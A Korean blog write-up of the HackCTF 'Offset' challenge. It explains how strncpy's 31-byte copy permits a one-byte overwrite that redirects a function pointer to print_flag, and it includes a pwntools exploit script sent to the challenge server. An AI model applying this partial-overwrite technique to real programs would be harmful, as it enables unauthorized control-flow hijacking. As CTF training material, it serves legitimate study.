본문 바로가기

Write-Up/HackCTF

[HackCTF] Offset

main
select func
one
two
print_flag

select func을 보면

strncpy -> src값을 31바이트만큼 dest에 복사한다

dest가 one과 같다면 v3에 one을 집어넣고  return한다

느낌상 return값을 print_flag로 바꿔주어야 될것같다.

 

dest = ebp-2A = 42

v3 = ebp -Ch = 12

 

strncpy 에서 31바이트 만큼 복사하고 두변수사이 공간은 30이니 1만큼 변조 가능하다.

two = 0x000006AD

print_flag = 0x000006D8

 

AD -> D8로 변조해주면 문제가 풀릴것 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3007)
p.recvline()

pay = b"A"*30
pay += b"\xd8"
p.sendline(pay)
p.interactive()

 

'Write-Up > HackCTF' 카테고리의 다른 글

[HackCTF] Yes or no  (0) 2021.05.17
[HackCTF] BOF_PIE  (0) 2021.05.17
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.16
[HackCTF] x64 Simple_size_BOF  (0) 2021.05.16
[HackCTF] x64 Buffer Overflow  (0) 2021.05.16